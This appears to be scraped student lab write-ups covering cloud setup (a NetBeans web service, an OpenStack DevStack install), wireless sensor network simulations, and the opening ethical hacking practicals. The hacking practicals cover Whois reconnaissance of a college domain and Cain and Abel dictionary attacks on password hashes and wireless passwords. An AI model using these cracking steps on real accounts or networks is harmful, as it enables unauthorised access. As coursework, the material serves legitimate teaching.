facebook
wikipedia
reddit
amazon
twitter
HIGHLIGHTS
Start browsing, and we'll show some of the great articles, videos, and other pages you've recently visited or bookmarked here.

Practical 8

Aim: Implement FOSS-Cloud Functionality - VSI Platform as a Service (PaaS)

Software development Kits can be made available in the Virtual Machines That can be implemented as Platform as a Service.
Installation of Netbeans, Eclipse, Visual Studio and DBMS can be done in the appropriate Virtual Machines.

Aim: Implement FOSS-Cloud Functionality - VSI Software as a Service (SaaS)

Applications created and deployed in the virtual machines can be accessed by the outside world. This can be implemented as Software as a Service

57e4d8cb-35fa-41ff-0165-8f124edd7d78 (1) - Remote Viewer

File View Send key Help

Applications Places System 12:52 PM sies

VirtualWebservice - NetBeans IDE 8.1

File Edit View Navigate Source Refactor Run Debug Profile Team Tools Window Help

Projects × Files Services

- VirtualWebservice
  - Web Pages
    - WEB-INF
    - index.html
    - newjsp.jsp
  - Source Packages
    - MyPack
    - mypack
      - HelloService.java
  - Test Packages
  - Libraries
  - Test Libraries
  - Enterprise Beans
  - Web Services

Navigator ×

Members <empty>

- HelloService
  - hello(String txt) : String
  - sayHello(Calendar date) : String

Start Page × index.html × newjsp.jsp × HelloService.Java ×

Source Design History

```
17  */
18  @WebService(serviceName = "HelloService")
19  @Stateless()
20  public class HelloService {
21
22      /**
23       * This is a sample web service operation
24       */
25      @WebMethod(operationName = "hello")
26      public String hello(@WebParam(name = "name") String txt) {
27          return "Hello " + txt + " !";
28      }
29
30      /**
31       * Web service operation
32       */
33      @WebMethod(operationName = "sayHello")
34      public String sayHello(@WebParam(name = "date") Calendar date) {
```

mypack.HelloService > hello >

Output ×

Java DB Database Process × GlassFish Server 4.1.1 × VirtualWebservice (run-deploy) ×

```
Info:   EJB Endpoint deployed VirtualWebservice
  listening at address at http://sies-Bochs:8080/HelloService/HelloService
Info:   Loading application [VirtualWebservice] at [/VirtualWebservice]
Info:   VirtualWebservice was successfully deployed in 2,238 milliseconds.
```

26:12 INS

VirtualWebservice - N...

Applications Places System 12:55 PM sies

Mozilla Firefox

File Edit View History Bookmarks Tools Help

http://sies-boc...lloService?wsdl

http://sies-bochs:8080/HelloService/HelloService?wsdl

This XML file does not appear to have any style information associated with it. The document tree is shown below.

```
-<!--
    Published by JAX-WS RI (http://jax-ws.java.net). RI's version is Metro/2.3.2-b608 (trunk-7979; 2015-01-21T12:50:19+0000) JAXWS-RI/2.2.11-b1
 -->
-<!--
    Generated by JAX-WS RI (http://jax-ws.java.net). RI's version is Metro/2.3.2-b608 (trunk-7979; 2015-01-21T12:50:19+0000) JAXWS-RI/2.2.11-b1
 -->
-<definitions targetNamespace="http://mypack/" name="HelloService">
  -<types>
    -<xsd:schema>
        <xsd:import namespace="http://mypack/" schemaLocation="http://sies-bochs:8080/HelloService
        /HelloService?xsd=1"/>
      </xsd:schema>
    </types>
  -<message name="hello">
      <part name="parameters" element="tns:hello"/>
    </message>
  -<message name="helloResponse">
      <part name="parameters" element="tns:helloResponse"/>
    </message>
  -<message name="sayHello">
      <part name="parameters" element="tns:sayHello"/>
    </message>
  -<message name="sayHelloResponse">
      <part name="parameters" element="tns:sayHelloResponse"/>
    </message>
  -<portType name="HelloService">
```

Practical - 10

Aim: How to Install OpenStack on Ubuntu with DevStack

Minimum Requirements

Before we begin, ensure you have the following minimum prerequisites

1. A fresh Ubuntu 18.04 installation
2. User with sudo privileges
3. 4 GB RAM
4. 2 vCPUs
5. Hard disk capacity of 10 GB
6. Internet connection

Step 1: Update and Upgrade the System

To start off, log into your Ubuntu 18.04 system using SSH protocol and update & upgrade system repositories using the following command.
apt update -y && apt upgrade -y

Sample Output

```
root@ubuntu:/# apt update -y && apt ugrade -y
Hit:1 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic InRelease
Get:2 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic-updates InRelease [88.7 kB]
Get:3 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic-backports InRelease [74.6 kB]
Get:4 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic/universe amd64 Packages [8570 kB]
Get:5 http://archive.canonical.com/ubuntu bionic InRelease [10.2 kB]
Get:6 http://security.ubuntu.com/ubuntu bionic-security InRelease [88.7 kB]
Get:7 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic/universe Translation-en [4941 kB]
Get:8 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic/multiverse amd64 Packages [151 kB]
Get:9 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic/multiverse Translation-en [108 kB]
Get:10 http://us-central1.gce.archive.ubuntu.com/ubuntu bionic-updates/main amd64 Packages [627 kB]
```

Next reboot the system using the command.
sudo reboot
OR
init 6

Step 2: Create Stack user and assign sudo priviledge

Best practice demands that devstack should be run as a regular user with sudo privileges. With that in mind, we are going to add a new user called “stack” and assign sudo privileges. To create stack user execute
sudo adduser -s /bin/bash -d /opt/stack -m stack

Next, run the command below to assign sudo privileges to the user
echo "stack ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/stack

Sample Output

```
root@ubuntu:/# sudo useradd -s /bin/bash -d /opt/stack -m stack
root@ubuntu:/#
root@ubuntu:/# echo "stack ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/stack
stack ALL=(ALL) NOPASSWD: ALL
root@ubuntu:/#
```

Step 3: Install git and download DevStack

Once you have successfully created the user 'stack' and assigned sudo privileges, switch to the user using the command.
su - stack

In most Ubuntu 18.04 systems, git comes already installed. If by any chance git is missing, install it by running the following command.
sudo apt install git -y

Sample output

```
root@ubuntu:~# su - stack
stack@ubuntu:~$
stack@ubuntu:~$ sudo apt install git -y
Reading package lists... Done
Building dependency tree
Reading state information... Done
git is already the newest version (1:2.17.1-1ubuntu0.4).
The following packages were automatically installed and are no longer required:
  grub-pc-bin libnuma1
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
```

Using git, clone devstack's git repository as shown.
git clone https://git.openstack.org/openstack-dev/devstack
Sample output

```
stack@ubuntu:~$ git clone https://git.openstack.org/openstack-dev/devstack
Cloning into 'devstack'...
warning: redirecting to https://opendev.org/openstack/devstack/
remote: Enumerating objects: 43615, done.
remote: Counting objects: 100% (43615/43615), done.
remote: Compressing objects: 100% (12575/12575), done.
remote: Total 43615 (delta 31152), reused 42370 (delta 30360)
Receiving objects: 100% (43615/43615), 8.27 MiB | 24.61 MiB/s, done.
Resolving deltas: 100% (31152/31152), done.
stack@ubuntu:~$
stack@ubuntu:~$ ls
devstack
stack@ubuntu:~$
```

Step 4: Create devstack configuration file

In this step, navigate to the devstack directory.
cd devstack

Then create a local.conf configuration file.
vim local.conf

Paste the following content
[[local|localrc]]

 # Password for KeyStone, Database, RabbitMQ and Service
ADMIN_PASSWORD=StrongAdminSecret
DATABASE_PASSWORD=$ADMIN_PASSWORD
RABBIT_PASSWORD=$ADMIN_PASSWORD
SERVICE_PASSWORD=$ADMIN_PASSWORD

# Host IP - get your Server/VM IP address from ip addr command
HOST_IP=10.208.0.10

Save and exit the text editor. NOTE:

1. The **ADMIN_PASSWORD** is the password that you will use to log in to the OpenStack login page. The default username is **admin.**
2. The **HOST_IP** is your system's IP address that is obtained by running **ifconfig** or **ip addr** commands.

Step 5: Install OpenStack with Devstack

To commence the installation of OpenStack on Ubuntu 18.04, run the script below contained in devstack directory.
./stack.sh

The following features will be installed:

- Horizon – OpenStack Dashboard
- Nova – Compute Service
- Glance – Image Service
- Neutron – Network Service
- Keystone – Identity Service
- Cinder – Block Storage Service
- Placement – Placement API

The deployment takes about 10 to 15 minutes depending on the speed of your system and internet connection. In our case, it took roughly 12 minutes. At the very end, you should see output similar to what we have below.

```
                print a[2]
        }
    ' /opt/stack/devstack/local.conf
+./stack.sh:main:1489                     set +o xtrace

=========================
DevStack Component Timing
 (times are in seconds)
=========================
run_process           53
test_with_retry        2
apt-get-update         1
osc                  177
wait_for_service      21
dbsync                56
pip_install          149
apt-get                7
-------------------------
Unaccounted time     418
=========================
Total runtime        884



This is your host IP address: 10.128.0.8
This is your host IPv6 address: ::1
Horizon is now available at http://10.128.0.8/dashboard
Keystone is serving at http://10.128.0.8/identity/
The default users are: admin and demo
The password: StrongAdminSecret

WARNING:
Using lib/neutron-legacy is deprecated, and it will be removed in the future


Services are running under systemd unit files.
For more information see:
https://docs.openstack.org/devstack/latest/systemd.html

DevStack Version: train
Change: 16d11d27f375b8c027bbc3a1db1885e90ce6c604 Merge "Option "lock_path" from group "DEFAULT"
OS Version: Ubuntu 18.04 bionic

2019-06-04 12:19:19.207 | stack.sh completed in 884 seconds.
```

This confirms that all went well and that we can proceed to access OpenStack via a web browser.

Step 6: Accessing OpenStack on a web browser

To access OpenStack via a web browser browse your Ubuntu's IP address as shown.
https://server-ip/dashboard This directs you to a login page as shown.

Enter the credentials and hit “Sign In” You should be able to see the Management console dashboard as shown below.

Wireless Sensor Networks Practical

Practical - 1

Aim: Understanding the Sensor Node Hardware. (For Eg. Sensors, Nodes(Sensor mote), Base Station,Graphical User Interface.)

Wireless sensor networks (WSNs) have the power of distributed communication, computing, and sensing features. They are characterized as infrastructure less, fault tolerant and self-organizing networks which provide opportunities for low-cost, easy- to-apply, rapid and flexible installations in an environment for various applications.

The components of sensor node hardware are as follows:

1. Sensors: Sensors in WSN are used to capture the environmental variables and which is used for data acquisition. Sensor signals are converted into electrical signals. They are capable of executing data processing, data gathering and communicating with additional associated nodes in the network. A distinctive sensor node capability is about 4-8 MHz, having 4 KB of RAM, 128 KB flash and preferably 916 MHz of radio frequency.

2. Nodes: They are used to enhance the network reliability. A relay node is a special type of field device that does not have process sensor or control equipment and as such does not interface with the 7 process itself. A distinctive rely node processor speed is about 8 MHz, having 8 KB of RAM, 128 KB flash and preferably 916 MHz of radio frequency.

3. Base Station: Besides sensor nodes, another fundamental item - a base station can be found in WSN. In contrast to sensor nodes, the base station possesses much more computational power, larger memory and is often connected to better energy source than batteries (like power grid). One can look at the base station as an entry point to the WSN where the base station's primary goal is to gather sensed data from sensor nodes in WSN.

4. Graphical User Interface: GUI is the web-based software package, that allows the data collected by sensors to be viewed. The software is also used to set irrigation parameters.

Example of a Wireless Sensor Network (WSN)

Sensor nodes
Base station
Host computer
Remote Server
Gateway node
Local database

Practical - 2

Aim: Exploring and understanding TinyOS computational concepts: - Events, Commands and Task. - nesC model - nesC Components

TinyOS has a component-based programming model, codified by the NesC language, a dialect of C. TinyOS is not an OS in the traditional sense; it is a programming framework for embedded systems and set of components that enable building an application-specific OS into each application. A typical application is about 15K in size, of which the base OS is about 400 bytes; the largest application, a database-like query system, is about 64 K bytes.

The computational concepts of TinyOS include: Events, Commands and Task.

1. Events: When a command is requested, event signals the completion of that service. Events may also be signaled asynchronously, for example, due to hardware interrupts or message arrival. From a traditional OS perspective, events are analogous to upcalls.

2. Commands: A command is typically a request to a component to perform some service, such as initiating a sensor reading. Commands are analogous to downcalls. The command returns immediately and the event signals completion at a later time.

3. Task: Rather than performing a computation immediately, commands and event handlers may post a task, a function executed by the TinyOS scheduler at a later time. This allows commands and events to be responsive, returning immediately while deferring extensive computation to tasks. While tasks may perform significant computation, their basic execution model is run-to- completion, rather than to run indefinitely; this allows tasks to be much lighter-weight than threads.

nesC Model

1. nesC is a component-based, event-driven programming language used to build applications for the TinyOS platform. The name nesC is an abbreviation of "network embedded systems C".

2. TinyOS is an operating environment designed to run on embedded devices used in distributed wireless sensor networks.

3. nesC is built as an extension to the C programming language with components "wired" together to run applications on TinyOS.

4. nesC is based on the concept of components, and directly supports TinyOS's eventbased concurrency model.

5. nesC programs are subject to whole program analysis (for safety) and optimization (for performance).

nesC Components

1. nesC applications are built by writing and assembling components.

2. A component provides and uses interfaces. These interfaces are the only point of access to the component.

3. An interface generally models some service (e.g., sending a message) and is specified by an interface type.

4. Interfaces in nesC are bidirectional: they contain commands and events, both of which are essentially functions. The providers or an interface implement the commands, while the users implement the events.

5. The separation of interface type definitions from their use in components promotes the definition of standard interfaces, making components more reusable and flexible.

6. A component can provide and use the same interface type (e.g., when interposing a component between a client and service), or provide the same interface multiple times. In these cases, the component must give each interface instance a separate name.

7. Components are also a clean way to abstract the boundary between hardware and software.

8. A subtle but important point is that bidirectional interfaces make it very easy to support hardware interrupts.

9. In contrast, one-way interfaces based on procedure calls force hardware polling or having two separate interfaces for hardware operations and the corresponding interrupts.

10. There are two types of components in nesC: modules and configurations. Modules provide application code, implementing one or more interfaces. Configurations are used to wire other components together, connecting interfaces used by components to interfaces provided by others.

11. Every nesC application is described by a top-level configuration that wires together the components used.

12. Most components in TinyOS represent services or pieces of hardware (such as the LEDs) and therefore exist only in a single instance. However, it is sometimes useful to create several instances of a component.

13. In nesC, this is achieved by declaring an abstract component with optional parameters; abstract components are created at compile-time in configurations.

nesC model

Two key concepts

1. Interfaces
   - uses
   - provides
2. Components
   - modules
   - configurations

Application: graph of components

Interfaces: only point of access to components

Practical - 3

Aim: Understanding TOSSIM for - Mote-mote radio communication - Mote-PC serial communication

TOSSIM is a discrete event simulator, or more precisely emulator, of TinyOS at the bit level. An event is generated for each transmitted or received bit rather than one per packet. TOSSIM is a simulator for the execution of nesC model on TinyOS/MICA hardware. TOSSIM further works as an emulator of actual hardware through mapping hardware interrupts to discrete events. TOSSIM also has a built-in simulated radio model. In conclusion, TOSSIM is a high-fidelity emulator of a network of TinyOS/MICA motes.

TOSSIM is conceived to study the behaviour of TinyOS and its applications: it is not intended to profile the performance of new protocols. Accordingly, there is one significant drawback and that is the fact that every mote must run the same code. Consequently, the usability of TOSSIM for applications involving heterogeneous sensors is limited at best. As such, TOSSIM is not appropriate for heterogeneous applications. TOSSIM has been shown to handle simulations of a sensor network with around a thousand motes. Its ability to simulate larger mote counts is primarily limited by its bit-level granularity: its performance degrades as the traffic increases. Channel sampling is also simulated at the bit level and consequently the use of a CSMA protocol causes significant overhead particularly when compared to a TDMA-based MAC protocol.

The simulator engine provides a set of communication services for interacting with external applications. These services allow programs to connect to TOSSIM over a TCP socket to monitor or actuate a running simulation. Details of the ADC and radio models, such as readings and loss rates, can be both queried and set. Programs can also receive higher level information, such as packet transmissions and receptions or application-level events. TOSSIM supports the TinyOS tool-chain, making the transitions between simulated and real networks easy. Compiling to native code allows developers to use traditional tools such as debuggers in TOSSIM. As it is a discrete event simulation, users can set debugger breakpoints and step through what is normally real-time code (such as packet reception) without disrupting operation. It also provides mechanisms for other programs to interact and monitor a running simulation; by keeping monitoring and interaction external to TOSSIM, the core simulator engine remains very simple and efficient.

Practical - 4

Aim: Create and simulate a simple adhoc network

Software Used: Omnetpp 5.7, INET 4.3.6 framework

We create an Ad hoc network with 7 hosts using Omnetpp and INET through the following steps

Step 1: Start the Omnetpp simulator through the following procedure Click on the file mingwenv

We will get the following $ prompt, type omnetpp and enter

Step 2: The omnetpp simulator in now ready with the following user interface

Click on inet folder, then in it click on examples, then on adhoc and then on idealwireless as given

Step 3: In order to load the simulation, double click on two files NetIdealRadios.ned and omnetpp.ini

Step 4: Now we run the simulation

Step 5: After running the simulation we get the following

The number of hosts can be increased by the following

In this we get a dropdown menu, select n host option and enter the required hosts The following simulation has 7 hosts

Net
configurator
host[5]
radioMedium
visualizer
host[2]
host[3]
host[4]
host[0]
host[1]
host[6]
Zoom:1.00x

Practical - 5

Aim: Understanding, Reading and Analyzing Routing Table of a network

,

The ip addresses are configured on the given interfaces of the Routers.
The Routing path is also set using RIP.
The following command is executed in the CLI mode of Router1

,

We get the following Routing information from Router1, which is the required output.

C 192.168.1.0/24 is directly connected, FastEthernet0/0
C 192.168.2.0/24 is directly connected, FastEthernet0/1
R 192.168.3.0/24 [120/1] via 192.168.2.2, 00:00:18, FastEthernet0/1
C 192.168.4.0/24 is directly connected, Serial0/1/0

Practical - 6

Aim: Create a basic MANET implementation simulation for Packet animation and Packet Trace
Software Used: Omnet++ 5.7, INET 4.3.6 framework

We create an MANET using Omnet++ and INET through the following steps

Step 1: Open the Omnet++ software and click on inet4 folder

Step 2: Now select the examples folder and then in that folder select manetrouting folder

Step 3 : In manetrouting folder click dymo folder and then load the DYMONetwork.ned and omnetpp.ini files by double clicking

Step 4: Select omnetpp.ini file and click on parameters, we need to add mobility to the nodes

Step 5: For adding a new parameter click on add button and add the parameter **.mobility.speed

Step 6: Set the value for **.mobility.speed = 400mps

Step 7: Now we run the simulation with 5 mobile hosts forming MANET and get the following output

Since the nodes have mobility, after sometime their positions would change and we get

Hence the given MANET has been simulated with 5 hosts

Practical - 7

Aim : Implement a Wireless Sensor network simulation

STEPS:

- Create a network using 1 Router-PT, 2 AccessPoint-PT-N and some end devices like tablets, smartphones and laptop.
- Connect access points and router using coaxial cable.
- In laptop connect Linksys WPC300N (The Linksys-WPC300N module provides one 2.4GHz wireless interface suitable for connection to wireless networks. The module supports protocols that use Ethernet for LAN access.).
- if connecting PC then connect PT-HOST-NM-1W (The PT-HOST-NM-1W module provides one 2.4GHz wireless interface suitable for connection to wireless networks. The module supports protocols that use Ethernet for LAN access.)

Practical - 8

Aim: Create MAC protocol simulation implementation for wireless sensor Network.

Software Used:
Cisco Packet Tracer 7.2.0.0226

Smart phones and Tablet have a wireless interface by default, while the laptop does not has a wireless interface, we need to add the interface in all the laptops.
Adding the wireless interface to each Laptops as follows

Copy the MAC address of each component as follows

We note the following MAC addresses and convert them to the following form

Component	MAC Address	Converted MAC address
Laptop0	000A.F3B4.7CDC	00:0A:F3:B4:7C:DC
Laptop1	0001.4269.6539	00:01:42:69:65:39
Laptop2	0060.5CB8.B919	00:60:5C:B8:B9:19
TabletPC	000C.8558.6B7B	00:0C:85:58:6B:7B
SmartPhone0	00D0.9774.32BD	00:D0:97:74:32:BD
SmartPhone1	0060.701E.0BE0	00:60:70:1E:0B:E0

Now we add few addresses in the wireless MAC filter of the Wireless Router and then use the given options for either allow or deny the Wireless access

As seen in above screen shot we add the MAC address of Laptop0, TabletPC SmartPhone0 in the list so as to deny them accessing the Wireless network and then save the settings

The result so obtained is as shown; the three devices denied any wireless connectivity

Similarly we can change the setting so that the above devices get wireless connectivity and the remaining devices do not get the wireless connectivity

And save the setting and get the following

Practical - 9

Aim: Simulate Mobile Adhoc Network with Directional Antenna

STEPS:

1. Create a network using Home gateway, and IOT devices
2. The Home Gateway provides 4 ethernet ports as well as a wireless access point configured with the "HomeGateway" ssid on channel 6. WEP / WPA-PSK / WPA2 enterprise can be configured to secure wireless connections. The picture below shows 4 IOE Things attached to a Home Gateway The Home Gateway is connected to the Internet through it's Internet WAN ethernet port.
3. For fan go to config -> Advance -> IO config -> network adapter:1W
4. Copy the SSID of home gateway (config -> wireless -> SSID)
5. In fan and window select home gateway in IO config
6. Go to smartphone -> desktop -> IOT monitor -> control the IOT devices

IoT0
Specifications
I/O Config
Physical
Config
Thing Editor
Programming
Attributes
Network Adapter
PT-IOT-NM-1W
Network Adapter 2
None
Digital Slots
1
Analog Slots
0
USB Ports
0
Bluetooth
Built-in
Desktop
Show
Usage
Smart Device
Component
Top
Advanced

B-18

Home Gateway0
Physical
Config
GUI
Attributes
GLOBAL
Settings
Algorithm Settings
INTERFACE
Internet
LAN
Wireless
Wireless Settings
SSID
HomeGateway
2.4 GHz Channel
6 - 2.437GHz
Coverage Range (meters)
250.00
Authentication
Disabled
WEP
WEP Key
WPA-PSK
WPA2-PSK
PSK Pass Phrase
WPA
WPA2
RADIUS Server Settings
IP Address
Shared Secret
Encryption Type
Disabled
Top

B-18

IoT0
Specifications
Physical
Config
Attributes
GLOBAL
Settings
Algorithm Settings
Files
INTERFACE
Wireless0
Bluetooth
Gateway/DNS IPv6
Automatic
Static
Default Gateway
DNS Server
IoT Server
None
Home Gateway
Remote Server
Server Address
User Name
Password
Refresh
Top
Advanced
B-18

Smartphone0
Physical
Config
Desktop
Programming
Attributes
IoT Monitor
IoT Server - Devices
Home | Conditions | Editor | Log Out
IoT0 (PTT0810823I-)
Ceiling Fan
Status
Off
Low
High
IoT1 (PTT0810WOAX-)
Window
On
IoT2 (PTT0810P1PZ-)
Door
Open
Lock
Unlock
Lock
Top
B-18

Practical - 10

Aim: Create a mobile network using Cell Tower, Central Office Server, Web browser and Web Server. Simulate connection between them

Wireless Router0
Physical
Config
GUI
Attributes
GLOBAL
Settings
Algorithm Settings
INTERFACE
Internet
LAN
Wireless 2.4G
Wireless 5G(1)
Wireless 5G(2)
Wireless Guest 2.4G
Wireless Guest 5G(1)
Wireless Guest 5G(2)
Internet Settings
IP Configuration
DHCP
Static
Media Bridge
Wireless AP
UserName
Password
IP Address
10.0.0.2
Subnet Mask
255.0.0.0
Default Gateway
10.0.0.1
DNS Server
Top
SMARTPHONE-PT
Smartphone0

Smartphone0
Physical
Config
Desktop
Programming
Attributes
IP Configuration
Interface
Wireless0
IP Configuration
DHCP
Static
IP Address
10.0.0.3
Subnet Mask
255.0.0.0
Default Gateway
10.0.0.1
DNS Server
0.0.0.0
IPv6 Configuration
DHCP
Auto Config
Static
DHCPv6 request failed.
IPv6 Address
Link Local Address
FE80::210:11FF:FE43:4964
IPv6 Gateway
IPv6 DNS Server
SMARTPHONE-PT
Smartphone0

Router0
Physical
Config
CLI
Attributes
GLOBAL
Settings
Algorithm Settings
ROUTING
Static
RIP
SWITCHING
VLAN Database
INTERFACE
GigabitEthernet0/0
GigabitEthernet0/1
GigabitEthernet0/1
Port Status
On
Bandwidth
1000 Mbps
100 Mbps
10 Mbps
Auto
Duplex
Half Duplex
Full Duplex
Auto
MAC Address
00D0.5831.5202
IP Configuration
IP Address
20.0.0.1
Subnet Mask
255.0.0.0
Tx Ring Limit
10
Equivalent IOS Commands
Router(config)#interface GigabitEthernet0/1
Router(config-if)#no shutdown
Router(config-if)#
%LINK-5-CHANGED: Interface GigabitEthernet0/1, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet0/1, changed state to up
ip address 20.0.0.1 255.0.0.0
Router(config-if)#
Top
1841
Router0
SMARTPHONE-PT
Smartphone0
Server-PT
Server0

Physical
Config
Services
Desktop
Programming
Attributes
IP Configuration
IP Configuration
DHCP
Static
IP Address
20.0.0.2
Subnet Mask
255.0.0.0
Default Gateway
20.0.0.1
DNS Server
0.0.0.0
IPv6 Configuration
DHCP
Auto Config
Static
IPv6 Address
Link Local Address
FE80::230:A3FF:FED6:B287
IPv6 Gateway
IPv6 DNS Server
802.1X
Use 802.1X Security
Authentication
MD5
Username
Password
SMARTPHONE-PT
Smartphone0

Packet Tracer PC Command Line 1.0
C:\>ping 20.0.0.1
Pinging 20.0.0.1 with 32 bytes of data:
Reply from 20.0.0.1: bytes=32 time=16ms TTL=255
Reply from 20.0.0.1: bytes=32 time=22ms TTL=255
Reply from 20.0.0.1: bytes=32 time=20ms TTL=255
Reply from 20.0.0.1: bytes=32 time=12ms TTL=255
Ping statistics for 20.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 12ms, Maximum = 22ms, Average = 17ms
C:\>
Top
SMARTPHONE-PT
Smartphone0

Smartphone0
Physical
Config
Desktop
Programming
Attributes
URL
http://20.0.0.2
Go
Stop
Cisco Packet Tracer
Welcome to Cisco Packet Tracer. Opening doors to new opportunities. Mind Wide Open.
Quick Links:
A small page
Copyrights
Image page
Image
Router0
Server-PT
Server0

Smartphone0
Physical
Config
Desktop
Programming
Attributes
URL
http://20.0.0.2/helloworld.html
Go
Stop
Hello, world!
Back
Router0
Server-PT
Server0

Ethical Hacking Practicals

Practical- 1

Aim:
Google and Whois Reconnaissance - Use Google search techniques to gather information about a specific target or organization. Utilize advanced search operators to refine search results and access hidden information. Perform Whois lookups to retrieve domain registration information and gather details about the target's infrastructure.

Step 1: Open the website https://who.is/ in google

Step 2: Type the domain name : www.siesascn.edu.in

Step 3: Click on WHOIS, DNS Records, Diagnostics

siesascn.edu.in

DNS information

Whois | DNS Records | Diagnostics

DNS Records for siesascn.edu.in

cache expires

Hostname	Type	TTL	Priority	Content
siesascn.edu.in	SOA	21600		ns7.awareindia.com ron@miracleworx.com 2022020801 3600 1800 1209600 86400
siesascn.edu.in	NS	21600		ns7.awareindia.com
siesascn.edu.in	NS	21600		ns8.awareindia.com
siesascn.edu.in	A	14400		65.108.27.161
siesascn.edu.in	MX	14400	0	siesascn.edu.in
www.siesascn.edu.in	A	14400		65.108.27.161
www.siesascn.edu.in	CNAME	14400		siesascn.edu.in
www.siesascn.edu.in	MX	13942	0	siesascn.edu.in

siesascn.edu.in

diagnostic tools

Whois | DNS Records | Diagnostics

Ping

```
PING siesascn.edu.in (65.108.27.161) 56(84) bytes of data.
64 bytes from web8.awareindia.com (65.108.27.161): icmp_seq=1 ttl=48 time=103 ms
64 bytes from web8.awareindia.com (65.108.27.161): icmp_seq=2 ttl=48 time=103 ms
64 bytes from web8.awareindia.com (65.108.27.161): icmp_seq=3 ttl=48 time=103 ms
64 bytes from web8.awareindia.com (65.108.27.161): icmp_seq=4 ttl=48 time=103 ms
64 bytes from web8.awareindia.com (65.108.27.161): icmp_seq=5 ttl=48 time=103 ms

--- siesascn.edu.in ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 103.213/103.427/103.687/0.257 ms
```

Traceroute

```
traceroute to siesascn.edu.in (65.108.27.161), 30 hops max, 60 byte packets
 1  ip-10-0-0-14.ec2.internal (10.0.0.14)  0.834 ms  0.879 ms  1.170 ms
 2  ec2-3-236-63-1.compute-1.amazonaws.com (3.236.63.1)  21.085 ms ec2-3-236-63-23.compute-1.amazonaws.com (3.236.63.23)  1.718 ms ec2-3-236-63-31.compute-1.a
 3  240.0.224.99 (240.0.224.99)  1.655 ms 240.0.224.64 (240.0.224.64)  1.610 ms 240.0.224.96 (240.0.224.96)  1.495 ms
 4  240.0.184.1 (240.0.184.1)  56.463 ms 240.0.184.2 (240.0.184.2)  492.035 ms  520.339 ms
 5  100.100.2.6 (100.100.2.6)  9.358 ms 100.100.2.16 (100.100.2.16)  2.957 ms 100.100.2.8 (100.100.2.8)  9.229 ms
 6  ash-b2-link.ip.twelve99.net (213.248.68.38)  2.832 ms ash-b2-link.ip.twelve99.net (62.115.63.84)  2.208 ms ash-b2-link.ip.twelve99.net (213.248.68.38)  1.
 7  ash-bb2-link.ip.twelve99.net (62.115.123.124)  2.834 ms  2.711 ms  2.851 ms
 8  nyk-bb2-link.ip.twelve99.net (62.115.136.200)  8.610 ms  8.824 ms  8.027 ms
```

Practical - 2.A

Aim: Password Encryption and Cracking with CrypTool and Cain and Abel

2.A) Password Encryption and Decryption:

- **Use CrypTool to encrypt passwords using the RC4 algorithm.**
- **Decrypt the encrypted passwords and verify the original values**

Step 1: Download CrypTool 1.4.42 — English version & Install it
https://www.cryptool.org/ct1download/SetupCrypTool_1_4_42_en.exe

Step 2: Open CrypTool and Create New File

Step 3: Type the Sentence & Click on Encrypt > Symmetric (modern) > RC4 > Encrypt

Step 4: Click on Decrypt > Symmetric (modern) > RC4 > Decrypt

Practical - 2.B

Aim: Password Encryption and Cracking with CrypTool and Cain and Abel

2.B) Password Cracking and Wireless Network Password Decoding:

- **Use Cain and Abel to perform a dictionary attack on Windows account passwords.**
- **Decode wireless network passwords using Cain and Abel's capabilities.**

wireless network passwords

Click on HASH Calcuator

Enter the password to convert into hash

Paste the value into the field you have converted

e.g(MD5)

Right Click on the hash and select the dictionary attack

Then right click on the file and select (Add to List) and then select the Wordlist

Select all the options and start the dictionary attack

Practical - 3.A

Aim: Windows Network Analysis and ARP Poisoning

1) **Windows Network Analysis:**

- **Execute the ipconfig command to retrieve network interface information.**

```
C:\Users\admin>cd C:\Windows\System32

C:\Windows\System32>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::cfe2:398b:497f:9de0%4
   IPv4 Address. . . . . . . . . . . : 10.10.9.90
   Subnet Mask . . . . . . . . . . . : 255.255.252.0
   Default Gateway . . . . . . . . . : 10.10.10.5

Ethernet adapter vEthernet (Default Switch):

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::6e68:b22d:c600:79b0%9
   IPv4 Address. . . . . . . . . . . : 172.19.0.1
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . :

Ethernet adapter vEthernet (Ethernet):

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::f010:5d0d:80b5:56bd%27
   IPv4 Address. . . . . . . . . . . : 172.17.240.1
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . :
```

- **Execute the “ipconfig /all”command to retrieve network interface information.**

```
C:\Windows\System32>ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : sys
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Realtek PCIe GBE Family Controller
   Physical Address. . . . . . . . . : 50-9A-4C-29-22-8E
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::cfe2:398b:497f:9de0%4(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.10.9.90(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.252.0
   Lease Obtained. . . . . . . . . . : 05 January 2024 07:36:13
   Lease Expires . . . . . . . . . . : 06 January 2024 07:36:15
   Default Gateway . . . . . . . . . : 10.10.10.5
   DHCP Server . . . . . . . . . . . : 10.10.10.5
   DHCPv6 IAID . . . . . . . . . . . : 122722892
